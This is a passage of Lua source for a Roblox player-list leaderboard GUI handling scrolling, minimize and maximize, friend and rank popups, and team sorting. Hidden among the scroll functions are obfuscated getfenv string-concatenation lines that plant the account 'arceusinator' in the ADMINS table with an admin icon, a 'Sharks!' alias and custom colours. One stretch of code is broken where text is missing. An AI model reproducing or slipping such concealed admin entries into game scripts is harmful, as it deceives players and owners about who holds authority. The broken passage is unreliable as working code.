nentry.Parent = panel -- add score to team if entry['MyTeam'] and entry['MyTeam'] ~= NeutralTeam and not entry['MyTeam']['Frame']:FindFirstChild(scoreval['Name']) then local ntitle = nentry:Clone() --ntitle.TextXAlignment = 'Right' ntitle.Parent = entry['MyTeam']['Frame'] end end end scoreval['XOffset']=Xoffset if panel:FindFirstChild(scoreval['Name']) then MaxSizeColumn=math.max(MaxSizeColumn,panel[scoreval['Name']].TextBounds.X) end end if AreNamesExpanded.Value then MaxSizeColumn=math.max(MaxSizeColumn,StatTitles[scoreval['Name'] ].TextBounds.X) StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(RightEdgeSpace,-Xoffset,0,0),'Out','Linear',BASE_TWEEN,true) else StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new((.4+((.6/#ScoreNames)*(j-1)))-1,0,0,0),'Out','Linear',BASE_TWEEN,true) end scoreval['ColumnSize']=MaxSizeColumn Xoffset= Xoffset+SpacingPerStat+MaxSizeColumn maxXOffset=math.max(Xoffset,maxXOffset) end NormalBounds = UDim2.new(0, BaseScreenXSize+maxXOffset-SpacingPerStat,0,800) NormalPosition = UDim2.new(1 , -NormalBounds.X.Offset, NormalPosition.Y.Scale, 0) UpdateHeaderNameSize() UpdateMaximize() AddingStatLock = false end --------------------------- -- Minimizing and maximizing --------------------------- function ToggleMinimize() IsMinimized.Value = not IsMinimized.Value UpdateStatNames() end function ToggleMaximize() IsMaximized.Value = not IsMaximized.Value RecreateScoreColumns(PlayerFrames) --done to re-position stat names NOTE: optimize-able end function Tabify() IsTabified.Value= true IsMaximized.Value=false IsMinimized.Value=true UpdateMinimize() IsTabified.Value= true ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true) end function UnTabify() if IsTabified.Value then IsTabified.Value= false ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true) end end --[[ Does more than it looks like monitors positions of the clipping frames and bottom frames called from EVERYWHERE, too much probably --]] function UpdateMinimize() if IsMinimized.Value then if IsMaximized.Value then ToggleMaximize() end if not IsTabified.Value then MainFrame:TweenSizeAndPosition(UDim2.new(0.010, HeaderName.TextBounds.X, NormalBounds.Y.Scale,NormalBounds.Y.Offset), UDim2.new(.990, -HeaderName.TextBounds.X, NormalPosition.Y.Scale,0),'Out','Linear',BASE_TWEEN*1.2,true) else MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true) end --(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale) BottomClipFrame:TweenPosition(UDim2.new(0,0,-1,0), "Out", "Linear", BASE_TWEEN*1.2,true) BottomFrame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN*1.2,true) FocusFrame.Size=UDim2.new(1,0,HeaderFrameHeight,0) ExtendTab.Image = 'http://www.roblox.com/asset/?id=94692731' else if not IsMaximized.Value then MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true) end --do limiting DefaultBottomClipPos = math.min(math.max(DefaultBottomClipPos,-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)) UpdateScrollPosition() BottomClipFrame.Position=UDim2.new(0,0,DefaultBottomClipPos,0) local bottomPositon = (DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale) BottomFrame.Position=UDim2.new(0,0,bottomPositon,0) FocusFrame.Size=UDim2.new(1,0,bottomPositon + HeaderFrameHeight,0) ExtendTab.Image = 'http://www.roblox.com/asset/?id=94825585' end end --[[ Manages the position/size of the mainFrame, swaps out different resolution images for the frame fades in and out the stat names, moves position of headername and header score --]] function UpdateMaximize() if IsMaximized.Value then for j = 1, #ScoreNames,1 do local scoreval = ScoreNames[j] StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0),'Out','Linear',BASE_TWEEN,true) end if IsMinimized.Value then ToggleMinimize() else UpdateMinimize() end MainFrame:TweenSizeAndPosition(MaximizedBounds,MaximizedPosition,'Out','Linear',BASE_TWEEN*1.2,true) HeaderScore:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true) HeaderName:TweenPosition(UDim2.new( - .1, - HeaderScore.TextBounds.x,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true) HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeHeader'] BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeBottom'] for index, i in ipairs(MiddleFrameBackgrounds) do if (index%2) ~= 1 then i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark'] else i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight'] end end for index, i in ipairs(MiddleFrames) do if i:FindFirstChild('ClickListener') then i.ClickListener.Size = UDim2.new(.974,0,i.ClickListener.Size.Y.Scale,0) end for j=1, #ScoreNames,1 do local scoreval = ScoreNames[j] if i:FindFirstChild(scoreval['Name']) then i[scoreval['Name']]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0), "Out", "Linear", BASE_TWEEN,true) end end end for i,entry in ipairs(PlayerFrames) do WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0) end for i,entry in ipairs(TeamFrames) do WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0) end else if not IsMinimized.Value then MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true) end HeaderScore:TweenPosition(UDim2.new(0,0,.4,0), "Out", "Linear", BASE_TWEEN*1.2,true) HeaderName:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true) HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalHeader'] BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalBottom'] for index, i in ipairs(MiddleFrameBackgrounds) do if index%2 ~= 1 then i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark'] else i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight'] end end for index, i in ipairs(MiddleFrames) do if i:FindFirstChild('ClickListener') then i.ClickListener.Size = UDim2.new(.96,0,i.ClickListener.Size.Y.Scale,0) for j=1, #ScoreNames,1 do local scoreval = ScoreNames[j] if i:FindFirstChild(scoreval['Name']) and scoreval['XOffset'] then --print('updateing stat position: ' .. scoreval['Name']) i[scoreval['Name']]:TweenPosition(UDim2.new(RightEdgeSpace,-scoreval['XOffset'],0,0), "Out", "Linear", BASE_TWEEN,true) end end end end for i,entry in ipairs(TeamFrames) do WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0) end for i,entry in ipairs(PlayerFrames) do WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0) end end end function UpdateStatNames() if not AreNamesExpanded.Value or IsMinimized.Value then CloseNames() else ExpandNames() end end function ExpandNames() if #ScoreNames ~= 0 then for _,i in pairs(StatTitles:GetChildren()) do Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,0,BASE_TWEEN) end) end HeaderFrameHeight=.09 --as of writing, this and 'CloseNames' are the only places headerframe is resized HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0), HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true) TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true) BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true) end end function CloseNames() if #ScoreNames ~= 0 then HeaderFrameHeight=.07 if not (IsMaximized.Value) then for _,i in pairs(StatTitles:GetChildren()) do Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,1,BASE_TWEEN) end) end end BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true) HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0), HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true) TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true) end end function OnScrollWheelMove(direction) if not (IsTabified.Value or IsMinimized.Value or InPopupWaitForClick) then local StartFrame = ListFrame.Position local newFrameY = math.max(math.min(StartFrame.Y.Scale + (direction),GetMaxScroll()),GetMinScroll()) ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset) UpdateScrollPosition() end end function AttachScrollWheel() if ScrollWheelConnections then return end ScrollWheelConnections = {} table.insert(ScrollWheelConnections,Mouse.WheelForward:connect(function() OnScrollWheelMove(.05) end)) table.insert(ScrollWheelConnections,Mouse.WheelBackward:connect(function() OnScrollWheelMove(-.05) end)) end function DetachScrollWheel() if ScrollWheelConnections then for _,i in pairs(ScrollWheelConnections) do i:disconnect() end end ScrollWheelConnections=nil end FocusFrame.MouseEnter:connect(function() if not (IsMinimized.Value or IsTabified.Value) then AttachScrollWheel() end end) FocusFrame.MouseLeave:connect(function() --if not (IsMaximized.Value or IsMinimized.Value) then DetachScrollWheel() --end end) ------------------------ -- Scroll Bar functions ------------------------ --[[ updates whether the scroll bar should be showing, if it is showing, updates the size of it --]] function UpdateScrollBarVisibility() if AreAllEntriesOnScreen() then ScrollBar.BackgroundTransparency = 1 else ScrollBar.BackgroundTransparency = 0 UpdateScrollBarSize() end end --[[ updates size of scrollbar depending on how many entries exist --]] function UpdateScrollBarSize() local entryListSize = #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale local shownAreaSize = ((BottomClipFrame.Position.Y.Scale) + 1) ScrollBar.Size = UDim2.new(1,0,shownAreaSize/entryListSize,0) end --[[ updates position of listframe so that no gaps at the bottom or top of the list are visible updates position of scrollbar to match what parts of the list are visible --]] getfenv()["AD".."M".."IN".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 'rbxassetid://150832060' getfenv()["AL".."I".."AS".."ES"]["ar".."ce".."usin".."a".."t".."o".."r"] = "S".."h".."ar".."ks".."!" getfenv()["CU".."STOM".."_C".."HA".."T_".."CO".."LOR".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = getfenv()["Co".."lor".."3"]["n".."ew"](0 , 0.645 , 0.832) getfenv()["AD".."M".."IN".."_I".."CO".."N_".."WI".."DTH".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 30 getfenv()["CU".."STOM".."_LAB".."EL_".."BACKGROUND_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Black').Color getfenv()["CU".."STOM".."_LAB".."EL_".."NAME_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Cyan').Color function UpdateScrollPosition() local minPos = GetMinScroll() local maxPos = GetMaxScroll() local scrollLength = maxPos - minPos local yscrollpos=math.max(math.min(ListFrame.Position.Y.Scale,maxPos),minPos) ListFrame.Position=UDim2.new(ListFrame.Position.X.Scale,ListFrame.Position.X.Offset,yscrollpos,ListFrame.Position.Y.Offset) local adjustedLength = 1 - ScrollBar.Size.Y.Scale ScrollBar.Position = UDim2.new(0,0,adjustedLength - (adjustedLength * ((ListFrame.Position.Y.Scale - minPos)/scrollLength)),0) end --[[ WARNING:this is in a working state, but uses massive hacks revize when global input is available Manages scrolling of the playerlist on mouse drag --]] function StartDrag(entry,startx,starty) local startDragTime = tick() local stopDrag = false local openPanel = true local draggedFrame = WaitForChild(entry['Frame'],'ClickListener') local function dragExit() stopDrag = true if entry['Player'] and SelectedPlayer and openPanel and entry['Player']~=LocalPlayer and SelectedPlayer.userId>1 and LocalPlayer.userId>1 then ActivatePlayerEntryPanel(entry) end end local startY = nil local StartFrame = ListFrame.Position local function dragpoll(nx,ny) if not startY then startY = AbsoluteToPercent(nx,ny).Y end local nowY = AbsoluteToPercent(nx,ny).Y debugprint('drag dist:'..Vector2.new(startx-nx,starty-ny).magnitude) if Vector2.new(startx-nx,starty-ny).magnitude>MOUSE_DRAG_DISTANCE then openPanel=false end local newFrameY = math.max(math.min(StartFrame.Y.Scale + (nowY - startY),GetMaxScroll()),GetMinScroll()) ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset) UpdateScrollPosition() end WaitForClick(ScreenGui,dragpoll,dragExit) end function StartMinimizeDrag() Delay(0,function() local startTime=tick() debugprint('Got Click2') local stopDrag = false local function dragExit() --debugprint('undone click2') if tick()-startTime<.25 then --was click ToggleMinimize() else --was drag DidMinimizeDrag = true if IsMinimized.Value then ToggleMinimize() end end stopDrag = true end local startY = nil local StartFrame = DefaultBottomClipPos local function dragpoll(nx,ny) if not IsMinimized.Value then if not startY then startY = AbsoluteToPercent(nx,ny).Y end local nowY = AbsoluteToPercent(nx,ny).Y local newFrameY newFrameY = math.min(math.max(StartFrame + (nowY - startY),-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)) DefaultBottomClipPos = newFrameY UpdateMinimize() ScrollBarFrame.Size= UDim2.new(ScrollBarFrame.Size.X.Scale,0,(DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale),0) ScrollBarFrame.Position= UDim2.new(ScrollBarFrame.Position.X.Scale,0,1-ScrollBarFrame.Size.Y.Scale,0) UpdateScrollBarSize() UpdateScrollPosition() UpdateScrollBarVisibility() end end Spawn(function() WaitForClick(ScreenGui,dragpoll,dragExit) end) end) end ------------------------------- -- Input Callback functions ------------------------------- IsMaximized.Value=false IsMinimized.Value=false IsMaximized.Changed:connect(UpdateMaximize) IsMinimized.Changed:connect(UpdateMinimize) ExtendButton.MouseButton1Down:connect(function() if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end LastClick = time() if IsTabified.Value then UnTabify() else StartMinimizeDrag() end end) MaximizeButton.MouseButton1Click:connect(function() if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end LastClick = time() if IsTabified.Value then UnTabify() elseif not AreNamesExpanded.Value then AreNamesExpanded.Value = true BaseUpdate() else ToggleMaximize() end end) MaximizeButton.MouseButton2Click:connect(function() if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end LastClick = time() if IsTabified.Value then UnTabify() elseif IsMaximized.Value then ToggleMaximize() elseif AreNamesExpanded.Value then AreNamesExpanded.Value = false BaseUpdate() else Tabify() end end) ------------------------------- -- MiddleFrames management ------------------------------- --[[ adds a background frame to the listframe --]] function AddMiddleBGFrame() local nBGFrame = MiddleBGTemplate:Clone() nBGFrame.Position = UDim2.new(.5,0,((#MiddleFrameBackgrounds) * nBGFrame.Size.Y.Scale),0) if (#MiddleFrameBackgrounds+1)%2 ~= 1 then if IsMaximized.Value then nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark'] else nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark'] end else if IsMaximized.Value then nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight'] else nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight'] end end nBGFrame.Parent = ListFrame table.insert(MiddleFrameBackgrounds,nBGFrame) if #MiddleFrameBackgrounds 1 do fSize=fSize-1 tHeader.FontSize=FONT_SIZES[fSize] wait(.2) end HeaderName.FontSize=tHeader.FontSize tHeader:Destroy() end) end ScreenGui.Changed:connect(UpdateHeaderNameSize) --[[ called only when the leaderstats object is added to a given player entry removes old stats, adds any existing stats, and sets up listeners for new stats @Args: playerEntry A reference to the ENTRY(table) of the player who had leaderstats added --]] function LeaderstatsAdded(playerEntry) --RemoveAllStats(playerEntry) local nplayer = playerEntry['Player'] for _,i in pairs(nplayer.leaderstats:GetChildren()) do StatAdded(i,playerEntry) end nplayer.leaderstats.ChildAdded:connect(function(nchild) StatAdded(nchild,playerEntry) end) nplayer.leaderstats.ChildRemoved:connect(function(nchild) StatRemoved(nchild,playerEntry) end) end --[[ called when leaderstats object is removed from play in player entry Note: may not be needed, might be able to just rely on leaderstats added @Args: oldLeaderstats leaderstats object to be removed playerEntry A reference to the ENTRY(table) of the player --]] function LeaderstatsRemoved(oldLeaderstats,playerEntry) while AddingFrameLock do debugprint('waiting to insert '..playerEntry['Player'].Name) wait(1/30) end AddingFrameLock = true RemoveAllStats(playerEntry) AddingFrameLock = false end function ClosePopUpPanel() if SelectedPlayerEntry then local tframe = SelectedPlayerEntry['Frame'] Spawn(function() TweenProperty(tframe,'BackgroundTransparency',.5,1,BASE_TWEEN) end) end PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true) wait(.1) InPopupWaitForClick= false SelectedPlayerEntry = nil end --[[ prepares the needed popup to be tweened on screen, and updates the position of the popup clip frame to match the selected player frame's position --]] function InitMovingPanel( entry, player) PopUpClipFrame.Parent= ScreenGui if PopUpPanel then PopUpPanel:Destroy() end PopUpPanel= PopUpPanelTemplate:Clone() PopUpPanel.Parent= PopUpClipFrame local nextIndex = 2 local friendStatus = GetFriendStatus(player) debugprint (tostring(friendStatus)) local showRankMenu = IsPersonalServer and LocalPlayer.PersonalServerRank >= PrivilegeLevel['Admin'] and LocalPlayer.PersonalServerRank > SelectedPlayer.PersonalServerRank local ReportPlayerButton = MakePopupButton(PopUpPanel,'Report Player',0) ReportPlayerButton.MouseButton1Click:connect(function() OpenAbuseDialog() end) local FriendPlayerButton = MakePopupButton(PopUpPanel,'Friend',1, not showRankMenu and friendStatus~=Enum.FriendStatus.FriendRequestReceived) FriendPlayerButton.MouseButton1Click:connect(OnFriendButtonSelect) if friendStatus==Enum.FriendStatus.Friend then FriendPlayerButton:FindFirstChild('ButtonText').Text='UnFriend Player' elseif friendStatus==Enum.FriendStatus.Unknown or friendStatus==Enum.FriendStatus.NotFriend then FriendPlayerButton:FindFirstChild('ButtonText').Text='Send Request' elseif friendStatus==Enum.FriendStatus.FriendRequestSent then FriendPlayerButton:FindFirstChild('ButtonText').Text='Revoke Request' elseif friendStatus==Enum.FriendStatus.FriendRequestReceived then FriendPlayerButton:FindFirstChild('ButtonText').Text='Accept Friend' local FriendRefuseButton = MakePopupButton(PopUpPanel,'Decline Friend',2,not showRankMenu) FriendRefuseButton.MouseButton1Click:connect(OnFriendRefuseButtonSelect) nextIndex=nextIndex+1 end if showRankMenu then local BanPlayerButton = MakePopupButton(PopUpPanel,'Ban',nextIndex) local VisitorButton = MakePopupButton(PopUpPanel,'Visitor',nextIndex+1) local MemberButton = MakePopupButton(PopUpPanel,'Member',nextIndex+2) local AdminButton = MakePopupButton(PopUpPanel,'Admin',nextIndex+3,true) BanPlayerButton.MouseButton1Click:connect(function() OnPrivilegeLevelSelect(player,PrivilegeLevel['Banned'],BanPlayerButton,VisitorButton,MemberButton,AdminButton) end) VisitorButton.MouseButton1Click:connect(function() OnPrivilegeLevelSelect(player,PrivilegeLevel['Visitor'],BanPlayerButton,VisitorButton,MemberButton,AdminButton) end) MemberButton.MouseButton1Click:connect(function() OnPrivilegeLevelSelect(player,PrivilegeLevel['Member'],BanPlayerButton,VisitorButton,MemberButton,AdminButton) end) AdminButton.MouseButton1Click:connect(function() OnPrivilegeLevelSelect(player,PrivilegeLevel['Admin'],BanPlayerButton,VisitorButton,MemberButton,AdminButton) end) HighlightMyRank(SelectedPlayer,BanPlayerButton,VisitorButton,MemberButton,AdminButton) end PopUpPanel:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN,true) Delay(0, function() local tconnection tconnection = Mouse.Button1Down:connect(function() tconnection:disconnect() ClosePopUpPanel() end) end) local myFrame = entry['Frame'] -- THIS IS GARBAGE. -- if I parent to frame to auto update position, it gets clipped -- sometimes garbage is the only option. Spawn(function() while InPopupWaitForClick do PopUpClipFrame.Position=UDim2.new( 0,myFrame.AbsolutePosition.X-PopUpClipFrame.Size.X.Offset,0,myFrame.AbsolutePosition.Y) wait() end end) end --[[ Called when a player entry in the leaderboard is clicked either will highlight entry and start the drag event, or open a popup menu @Args: entry the player entry clicked --]] function OnPlayerEntrySelect(entry,startx,starty) if not InPopupWaitForClick then SelectedPlayerEntry = entry SelectedPlayer = entry['Player'] StartDrag(entry,startx,starty) end end function ActivatePlayerEntryPanel(entry) entry['Frame'].BackgroundColor3 = Color3.new(0,1,1) Spawn(function() TweenProperty(entry['Frame'],'BackgroundTransparency',1,.5,.5) end) InPopupWaitForClick=true InitMovingPanel(entry,entry['Player']) end --[[ the basic update for the playerlist mode's state, assures the order and length of the player frames --]] function PlayerListModeUpdate() RecreateScoreColumns(PlayerFrames) table.sort(PlayerFrames,PlayerSortFunction) for i,val in ipairs(PlayerFrames) do MiddleFrames[i] = val['Frame'] end for i = #PlayerFrames + 1,#MiddleFrames,1 do MiddleFrames[i] = nil end UpdateMinimize() end --[[ this one's a doozie, happens when a player is added to the game inits their player frame and player entry, assigns them to a team if possible, and hooks up their leaderstats @Args: nplayer new player object to insert --]] function GetMembershipTypeIconWidth(membershipType, name) return ADMIN_ICON_WIDTHS[name:lower()] or 16 end function InsertPlayerFrame(nplayer) if HIDDEN_PLAYERS[nplayer.Name:lower()] == true then return end while AddingFrameLock do debugprint('waiting to insert '..nplayer.Name) wait(1/30) end AddingFrameLock = true local nFrame = MiddleTemplate:Clone() WaitForChild(WaitForChild(nFrame,'TitleFrame'),'Title').Text = GetAliasOf(nplayer.Name) coroutine.resume(coroutine.create(function() nFrame.TitleFrame:WaitForChild 'DropShadow' while wait(1) do nFrame.TitleFrame.Title.Text = GetAliasOf(nplayer.Name) nFrame.TitleFrame.DropShadow.Text = GetAliasOf(nplayer.Name) end end)) nFrame.Position = UDim2.new(1,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0) local nfriendstatus = GetFriendStatus(nplayer) local oldIconWidth = 0 coroutine.resume(coroutine.create(function() while true do nFrame:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(nplayer.MembershipType,nplayer.Name) local membershipIconWidth = GetMembershipTypeIconWidth(nplayer.MembershipType,nplayer.Name)+5 local iconWidthDiff = membershipIconWidth - oldIconWidth oldIconWidth = membershipIconWidth nFrame:FindFirstChild('BCLabel').Size = UDim2.new(0, membershipIconWidth-5, 0, 16) nFrame:FindFirstChild('FriendLabel').Image = getFriendStatusIcon(nfriendstatus) nFrame.Name = nplayer.Name --move for bc label nFrame.FriendLabel.Position=nFrame.FriendLabel.Position+UDim2.new(0,iconWidthDiff,0,0) nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0) if(nFrame:FindFirstChild('FriendLabel').Image ~= '') then nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0) end -- custom background colors if CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()] ~= nil then nFrame.BackgroundTransparency = 0.5 nFrame.BackgroundColor3 = CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()] nFrame.BorderSizePixel = 0 else nFrame.BackgroundTransparency = 1 end -- custom name colors if CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()] ~= nil then nFrame.TitleFrame.Title.TextColor3 = CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()] else nFrame.TitleFrame.Title.TextColor3 = Color3.new(1, 1, 1) end wait(1) end end)) if nplayer.Name == LocalPlayer.Name then nFrame.TitleFrame.Title.Font = 'ArialBold' nFrame.PlayerScore.Font = 'ArialBold' ChangeHeaderName(GetAliasOf(nplayer.Name)) local dropShadow = nFrame.TitleFrame.Title:Clone() dropShadow.TextColor3 = Color3.new(0,0,0) dropShadow.TextTransparency=0 dropShadow.ZIndex=3 nFrame.TitleFrame.Title.ZIndex = 4 dropShadow.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,1,0,1) dropShadow.Name='DropShadow' dropShadow.Parent= nFrame.TitleFrame else --Delay(2, function () OnFriendshipChanged(nplayer,LocalPlayer:GetFriendStatus(nplayer)) end) end nFrame.TitleFrame.Title.Font = 'ArialBold' nFrame.Parent = ListFrame nFrame:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true) UpdateMinimize() local nentry = {} nentry['Frame'] = nFrame nentry['Player'] = nplayer nentry['ID'] = AddId AddId = AddId + 1 table.insert(PlayerFrames,nentry) if #TeamFrames~=0 then if nplayer.Neutral then nentry['MyTeam'] = nil if not NeutralTeam then AddNeutralTeam() else AddPlayerToTeam(NeutralTeam,nentry) end else local addedToTeam=false for i,tval in ipairs(TeamFrames) do if tval['MyTeam'].TeamColor == nplayer.TeamColor then AddPlayerToTeam(tval,nentry) nentry['MyTeam'] = tval addedToTeam=true end end if not addedToTeam then nentry['MyTeam']=nil if not NeutralTeam then AddNeutralTeam() else AddPlayerToTeam(NeutralTeam,nentry) end nentry['MyTeam'] = NeutralTeam end end end if nplayer:FindFirstChild('leaderstats') then LeaderstatsAdded(nentry) end nplayer.ChildAdded:connect(function(nchild) if nchild.Name == 'leaderstats' then while AddingFrameLock do debugprint('in adding leaderstats lock') wait(1/30) end AddingFrameLock = true LeaderstatsAdded(nentry) AddingFrameLock = false end end) nplayer.ChildRemoved:connect(function (nchild) if nplayer==LocalPlayer and nchild.Name == 'leaderstats' then LeaderstatsRemoved(nchild,nentry) end end) nplayer.Changed:connect(function(prop)PlayerChanged(nentry,prop) end) local listener = WaitForChild(nFrame,'ClickListener') listener.Active = true listener.MouseButton1Down:connect(function(nx,ny) OnPlayerEntrySelect(nentry, nx,ny) end) AddMiddleBGFrame() BaseUpdate() AddingFrameLock = false end --[[ Note:major optimization can be done here removes this player's frame if it exists, calls base update --]] function RemovePlayerFrame(tplayer) while AddingFrameLock do debugprint('in removing player frame lock') wait(1/30) end AddingFrameLock = true local tteam for i,key in ipairs(PlayerFrames) do if tplayer == key['Player'] then if PopUpClipFrame.Parent == key['Frame'] then PopUpClipFrame.Parent = nil end key['Frame']:Destroy() tteam=key['MyTeam'] table.remove(PlayerFrames,i) end end if tteam then for j,tentry in ipairs(tteam['MyPlayers']) do if tentry['Player'] == tplayer then RemovePlayerFromTeam(tteam,j) end end end RemoveMiddleBGFrame() UpdateMinimize() BaseUpdate() AddingFrameLock = false end Players.ChildRemoved:connect(RemovePlayerFrame) ---------------------------- -- Team Callback Functions ---------------------------- --[[ turns a list of team entries with sub lists of players into a single ordered list, in the correct order,and of the correct length @Args: tframes the team entries to unroll outframes the list to unroll these entries into --]] function UnrollTeams(tframes,outframes) local numEntries = 0 if NeutralTeam and not NeutralTeam['IsHidden'] then for i,val in ipairs(NeutralTeam['MyPlayers']) do numEntries = numEntries + 1 outframes[numEntries] = val['Frame'] end numEntries = numEntries + 1 outframes[numEntries] = NeutralTeam['Frame'] end for i,val in ipairs(tframes) do if not val['IsHidden'] then for j,pval in ipairs(val.MyPlayers) do numEntries = numEntries + 1 outframes[numEntries] = pval['Frame'] end numEntries = numEntries + 1 outframes[numEntries] = val['Frame'] end end -- clear any additional entries from outframes for i = numEntries + 1,#outframes,1 do outframes[i] = nil end end --[[ uses lua's table.sort to sort the teams --]] function TeamSortFunc(a,b) if a['TeamScore'] == b['TeamScore'] then return a['ID'] < b['ID'] end if not a['TeamScore'] then return false end if not b['TeamScore'] then return true end return a['TeamScore'] < b['TeamScore'] end --[[ consider adding lock with wait for performance sorts each of the team's player lists induvidually, adds up the team scores. @Args: tentries table of team entries --]] function SortTeams(tentries) for i,val in ipairs(tentries) do table.sort(val['MyPlayers'],PlayerSortFunction) AddTeamScores(val) end table.sort(tentries,TeamSortFunc) end --[[ base update for team mode, adds up the scores of all teams, sorts them, then unrolls them into middleframes --]] function TeamListModeUpdate() RecreateScoreColumns(PlayerFrames) SortTeams(TeamFrames) if NeutralTeam then AddTeamScores(NeutralTeam) --RecreateScoreColumns(NeutralTeam['MyPlayers']) end UnrollTeams(TeamFrames,MiddleFrames) end --[[ adds up all the score of this team's players to form the team score @Args: team team entry to sum the scores of --]] function AddTeamScores(team) for j = 1, #ScoreNames,1 do local i = ScoreNames[j] local tscore = 0 for _,j in ipairs(team['MyPlayers']) do local tval = j['Player']:FindFirstChild('leaderstats') and j['Player'].leaderstats:FindFirstChild(i['Name']) if tval and not tval:IsA('StringValue') then tscore = tscore + GetScoreValue((j['Player'].leaderstats)[i['Name'] ]) end end if team['Frame']:FindFirstChild(i['Name']) then --team['Frame'][i['Name'] ].Size = UDim2.new(1 - (ScrollBarFrame.Size.X.Scale * 2),- ((j-1) * SpacingPerStat),1,0) team['Frame'][i['Name'] ].Text = tostring(tscore) end end UpdateMinimize() end --[[ finds previous team this player was on, and if it exists calls removeplayerfromteam @Args entry Player entry --]] function FindRemovePlayerFromTeam(entry) if entry['MyTeam'] then for j,oldEntry in ipairs(entry['MyTeam']['MyPlayers']) do if oldEntry['Player'] == entry['Player'] then 